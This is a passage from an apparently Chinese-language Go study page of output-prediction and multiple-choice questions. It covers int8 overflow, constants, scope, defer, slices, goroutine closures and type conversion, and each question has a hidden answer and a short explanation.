<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">var</span> y <span class="hljs-keyword">int</span> = <span class="hljs-keyword">int</span>(M)<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> a <span class="hljs-keyword">int8</span> = <span class="hljs-number">-1</span><br> <span class="hljs-keyword">var</span> b <span class="hljs-keyword">int8</span> = <span class="hljs-number">-128</span> / a<br> fmt.Println(b)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>-128</p>
<p>int8 能表示的数字的范围是 [-2^7, 2^7-1],即 [-128, 127]。-128 是无类型常量,转换为 int8,再除以变量 -1,结果为 128,常量除以变量,结果是一个变量。变量转换时允许溢出,符号位变为1,转为补码后恰好等于 -128。</p>
<p>对于有符号整型,最高位是是符号位,计算机用补码表示负数。补码 = 原码取反加一。</p>
<p>例如:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs shell">-1 : 11111111<br>00000001(原码) 11111110(取反) 11111111(加一)<br>-128: <br>10000000(原码) 01111111(取反) 10000000(加一)<br><br>-1 + 1 = 0<br>11111111 + 00000001 = 00000000(最高位溢出省略)<br>-128 + 127 = -1<br>10000000 + 01111111 = 11111111<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">const</span> a <span class="hljs-keyword">int8</span> = <span class="hljs-number">-1</span><br> <span class="hljs-keyword">var</span> b <span class="hljs-keyword">int8</span> = <span class="hljs-number">-128</span> / a<br> fmt.Println(b)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>编译失败:constant 128 overflows int8</p>
<p>-128 和 a 都是常量,在编译时求值,-128 / a = 128,两个常量相除,结果也是一个常量,常量类型转换时不允许溢出,因而编译失败。</p>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> i := <span class="hljs-number">1</span><br> j := <span class="hljs-number">2</span><br> i, j = j, i<br> fmt.Printf(<span class="hljs-string">"%d%d\n"</span>, i, j)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>21</p>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> i <span class="hljs-keyword">float64</span> = <span class="hljs-number">3</span> / <span class="hljs-number">2</span><br> fmt.Print(i)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell">1<br>关键在于 3/2 计算的结果,3、2 这是整型字面值常量。根据 Go 的规则,3/2 结果也是整型,因此是 1,最后会隐式转换为 float64。<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">incr</span><span class="hljs-params">(p *<span class="hljs-keyword">int</span>)</span> <span class="hljs-title">int</span></span> {<br> *p++<br> <span class="hljs-keyword">return</span> *p<br>}<br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> v := <span class="hljs-number">1</span><br> incr(&v)<br> fmt.Println(v)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">2<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">incr</span><span class="hljs-params">(v <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">int</span></span> {<br> v++<br> <span class="hljs-keyword">return</span> v<br>}<br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> v := <span class="hljs-number">1</span><br> incr(v)<br> fmt.Println(v)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">1<br></code></pre></td></tr></table></figure>
</div>
</div>
<h5 id="作用域">作用域</h5>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> err error<br> <span class="hljs-keyword">if</span> err == <span class="hljs-literal">nil</span> {<br> err := fmt.Errorf(<span class="hljs-string">"err"</span>)<br> fmt.Println(<span class="hljs-number">1</span>, err)<br> }<br> <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {<br> fmt.Println(<span class="hljs-number">2</span>, err)<br> }<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>1 err</p>
<p><code>:=</code> 表示声明并赋值,<code>=</code> 表示仅赋值。</p>
<p>变量的作用域是大括号,因此在第一个 if 语句 <code>if err == nil</code> 内部重新声明且赋值了与外部变量同名的局部变量 err。对该局部变量的赋值不会影响到外部的 err。因此第二个 if 语句 <code>if err != nil</code> 不成立。所以只打印了 <code>1 err</code>。</p>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> x := <span class="hljs-number">1</span><br> {<br> x := <span class="hljs-number">2</span><br> fmt.Print(x)<br> }<br> fmt.Println(x)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>21</p>
</div>
</div>
<h5 id="defer-延迟调用">defer 延迟调用</h5>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> T <span class="hljs-keyword">struct</span>{}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(t T)</span> <span class="hljs-title">f</span><span class="hljs-params">(n <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">T</span></span> {<br> fmt.Print(n)<br> <span class="hljs-keyword">return</span> t<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> t T<br> <span class="hljs-keyword">defer</span> t.f(<span class="hljs-number">1</span>).f(<span class="hljs-number">2</span>)<br> fmt.Print(<span class="hljs-number">3</span>)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>132</p>
<p>defer 延迟调用时,需要保存函数指针和参数,因此链式调用的情况下,除了最后一个函数/方法外的函数/方法都会在调用时直接执行。也就是说 <code>t.f(1)</code> 直接执行,然后执行 <code>fmt.Print(3)</code>,最后函数返回时再执行 <code>.f(2)</code>,因此输出是 132。</p>
</div>
</div>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">f</span><span class="hljs-params">(n <span class="hljs-keyword">int</span>)</span></span> {<br> <span class="hljs-keyword">defer</span> fmt.Println(n)<br> n += <span class="hljs-number">100</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> f(<span class="hljs-number">1</span>)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>1</p>
<p>打印 1 而不是 101。defer 语句执行时,会将需要延迟调用的函数和参数保存起来,也就是说,执行到 defer 时,参数 n(此时等于1) 已经被保存了。因此后面对 n 的改动并不会影响延迟函数调用的结果。</p>
</div>
</div>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> n := <span class="hljs-number">1</span><br> <span class="hljs-keyword">defer</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> {<br> fmt.Println(n)<br> }()<br> n += <span class="hljs-number">100</span><br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>101</p>
<p>匿名函数没有通过传参的方式将 n 传入,因此匿名函数内的 n 和函数外部的 n 是同一个,延迟执行时,已经被改变为 101。</p>
</div>
</div>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> n := <span class="hljs-number">1</span><br> <span class="hljs-keyword">if</span> n == <span class="hljs-number">1</span> {<br> <span class="hljs-keyword">defer</span> fmt.Println(n)<br> n += <span class="hljs-number">100</span><br> }<br> fmt.Println(n)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-number">101</span><br><span class="hljs-number">1</span><br></code></pre></td></tr></table></figure>
<p>先打印 101,再打印 1。defer 的作用域是函数,而不是代码块,因此 if 语句退出时,defer 不会执行,而是等 101 打印后,整个函数返回时,才会执行。</p>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i < <span class="hljs-number">5</span>; i++ {<br> <span class="hljs-keyword">defer</span> fmt.Printf(<span class="hljs-string">"%d "</span>, i)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-number">4</span> <span class="hljs-number">3</span> <span class="hljs-number">2</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span><br></code></pre></td></tr></table></figure>
</div>
</div>
<h5 id="数组与切片">数组与切片</h5>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> x := []<span class="hljs-keyword">string</span>{<span class="hljs-string">"a"</span>, <span class="hljs-string">"b"</span>, <span class="hljs-string">"c"</span>}<br> <span class="hljs-keyword">for</span> v := <span class="hljs-keyword">range</span> x {<br> fmt.Print(v)<br> }<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-number">012</span><br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> x := []<span class="hljs-keyword">string</span>{<span class="hljs-string">"a"</span>, <span class="hljs-string">"b"</span>, <span class="hljs-string">"c"</span>}<br> <span class="hljs-keyword">for</span> _, v := <span class="hljs-keyword">range</span> x {<br> fmt.Print(v)<br> }<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go">abc<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> strs := []<span class="hljs-keyword">string</span>{<span class="hljs-string">"one"</span>, <span class="hljs-string">"two"</span>, <span class="hljs-string">"three"</span>}<br> <span class="hljs-keyword">for</span> _, s := <span class="hljs-keyword">range</span> strs {<br> <span class="hljs-keyword">go</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> {<br> time.Sleep(<span class="hljs-number">1</span> * time.Second)<br> fmt.Printf(<span class="hljs-string">"%s "</span>, s)<br> }()<br> }<br> time.Sleep(<span class="hljs-number">3</span> * time.Second)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go">three three three<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> strs := []<span class="hljs-keyword">string</span>{<span class="hljs-string">"one"</span>, <span class="hljs-string">"two"</span>, <span class="hljs-string">"three"</span>}<br> <span class="hljs-keyword">for</span> _, s := <span class="hljs-keyword">range</span> strs {<br> <span class="hljs-keyword">go</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(ss <span class="hljs-keyword">string</span>)</span></span> {<br> time.Sleep(<span class="hljs-number">1</span> * time.Second)<br> fmt.Printf(<span class="hljs-string">"%s "</span>, ss)<br> }(s)<br> }<br> time.Sleep(<span class="hljs-number">3</span> * time.Second)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go">three one two / one two three /...<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> v := [...]<span class="hljs-keyword">int</span>{<span class="hljs-number">1</span>: <span class="hljs-number">2</span>, <span class="hljs-number">3</span>: <span class="hljs-number">4</span>}<br> fmt.Println(<span class="hljs-built_in">len</span>(v))<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-number">4</span><br>除了 <span class="hljs-keyword">map</span>,array(slice) 初始化时也是可以指定索引的。该题有一个索引 <span class="hljs-number">3</span>,根据数组的特点,必然有小于 <span class="hljs-number">3</span> 的所有也存在,上题中,v 的值是:[<span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>]<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下面的程序的运行结果是?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Slice []<span class="hljs-keyword">int</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">NewSlice</span><span class="hljs-params">()</span> <span class="hljs-title">Slice</span></span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">make</span>(Slice, <span class="hljs-number">0</span>)<br>}<br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(s* Slice)</span> <span class="hljs-title">Add</span><span class="hljs-params">(elem <span class="hljs-keyword">int</span>)</span> *<span class="hljs-title">Slice</span></span> {<br> *s = <span class="hljs-built_in">append</span>(*s, elem)<br> fmt.Print(elem)<br> <span class="hljs-keyword">return</span> s<br>}<br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> s := NewSlice()<br> <span class="hljs-keyword">defer</span> s.Add(<span class="hljs-number">1</span>).Add(<span class="hljs-number">2</span>)<br> s.Add(<span class="hljs-number">3</span>)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-number">132</span><br></code></pre></td></tr></table></figure>
</div>
</div>
<h4 id="选择题">选择题</h4>
<p>1.下面属于关键字的是()</p>
<p>A. func</p>
<p>B. def</p>
<p>C. struct</p>
<p>D. class</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AC</p>
</div>
</div>
<p>2.定义一个包内全局字符串变量,下面语法正确的是 ()</p>
<p>A. var str string</p>
<p>B. str := “”</p>
<p>C. str = “”</p>
<p>D. var str = “”</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AD</p>
</div>
</div>
<p>3.通过指针变量 p 访问其成员变量 name,下面语法正确的是()</p>
<p>A. p.name</p>
<p>B. (*p).name</p>
<p>C. (&p).name</p>
<p>D. p->name</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AB</p>
</div>
</div>
<p>4.关于接口和类的说法,下面说法正确的是()</p>
<p>A. 一个类只需要实现了接口要求的所有函数,我们就说这个类实现了该接口</p>
<p>B. 实现类的时候,只需要关心自己应该提供哪些方法,不用再纠结接口需要拆得多细才合理</p>
<p>C. 类实现接口时,需要导入接口所在的包</p>
<p>D. 接口由使用方按自身需求来定义,使用方无需关心是否有其他模块定义过类似的接口</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABD</p>
</div>
</div>
<p>5.关于字符串连接,下面语法正确的是()</p>
<p>A. str := ‘abc’ + ‘123’</p>
<p>B. str := “abc” + “123”</p>
<p>C. str := ‘123’ + “abc”</p>
<p>D. fmt.Sprintf(“abc%d”, 123)</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>BD</p>
</div>
</div>
<p>6.关于协程,下面说法正确是()</p>
<p>A. 协程和线程都可以实现程序的并发执行</p>
<p>B. 线程比协程更轻量级</p>
<p>C. 协程不存在死锁问题</p>
<p>D. 通过channel来进行协程间的通信</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AD</p>
</div>
</div>
<p>7.关于init函数,下面说法正确的是()</p>
<p>A. 一个包中,可以包含多个init函数</p>
<p>B. 程序编译时,先执行导入包的init函数,再执行本包内的init函数</p>
<p>C. main包中,不能有init函数</p>
<p>D. init函数可以被其他函数调用</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>AB</p>
</div>
</div>
<p>8.关于循环语句,下面说法正确的有()</p>
<p>A. 循环语句既支持for关键字,也支持while和do-while</p>
<p>B. 关键字for的基本使用方法与C/C++中没有任何差异</p>
<p>C. for循环支持continue和break来控制循环,但是它提供了一个更高级的break,可以选择中断哪一个循环</p>
<p>D. for循环不支持以逗号为间隔的多个赋值语句,必须使用平行赋值的方式来初始化多个变量</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>CD</p>
</div>
</div>
<p>9.对于函数定义:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">add</span><span class="hljs-params">(args ...<span class="hljs-keyword">int</span>)</span> <span class="hljs-title">int</span></span> {<br> sum := <span class="hljs-number">0</span><br> <span class="hljs-keyword">for</span> _, arg := <span class="hljs-keyword">range</span> args {<br> sum += arg<br> }<br> <span class="hljs-keyword">return</span> sum<br>}<br></code></pre></td></tr></table></figure>
<p>下面对add函数调用正确的是()</p>
<p>A. add(1, 2)</p>
<p>B. add(1, 3, 7)</p>
<p>C. add([]int{1, 2})</p>
<p>D. add([]int{1, 3, 7}...)</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABD</p>
</div>
</div>
<p>10.关于类型转化,下面语法正确的是()</p>
<ol type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> MyInt <span class="hljs-keyword">int</span><br><span class="hljs-keyword">var</span> i <span class="hljs-keyword">int</span> = <span class="hljs-number">1</span><br><span class="hljs-keyword">var</span> j MyInt = i<br></code></pre></td></tr></table></figure>
<ol start="2" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs GO"><span class="hljs-keyword">type</span> MyInt <span class="hljs-keyword">int</span><br><span class="hljs-keyword">var</span> i <span class="hljs-keyword">int</span> = <span class="hljs-number">1</span><br><span class="hljs-keyword">var</span> j MyInt = (MyInt)i<br></code></pre></td></tr></table></figure>
<ol start="3" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> MyInt <span class="hljs-keyword">int</span><br><span class="hljs-keyword">var</span> i <span class="hljs-keyword">int</span> = <span class="hljs-number">1</span><br><span class="hljs-keyword">var</span> j MyInt = MyInt(i)<br></code></pre></td></tr></table></figure>
<ol start="4" type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> MyInt <span class="hljs-keyword">int</span><br><span class="hljs-keyword">var</span> i <span class="hljs-keyword">int</span> = <span class="hljs-number">1</span><br><span class="hljs-keyword">var</span> j MyInt = i.(MyInt) <span class="hljs-comment">// Invalid type assertion: i.(MyInt) (non-interface type int on left)</span><br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>C</p>
</div>
</div>
<p>11.关于局部变量的初始化,下面正确的使用方式是()</p>
<p>A. var i int = 10</p>
<p>B. var i = 10</p>
<p>C. i := 10</p>
<p>D. i = 10</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ABC</p>
</div>
</div>
<p>12.关于const常量定义,下面正确的使用方式是()</p>
<ol type="A">
<li></li>
</ol>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">const</span> Pi <span class="hljs-keyword">float64</span> = <span class="hljs-number">3.14159265358979323846</span><br><span class="hljs-keyword">const</span> zero = <span class="hljs-number">0.0</span><br></code></pre></td></tr></table></figure>
<ol start="2" type="A">
<li></li>
</ol>
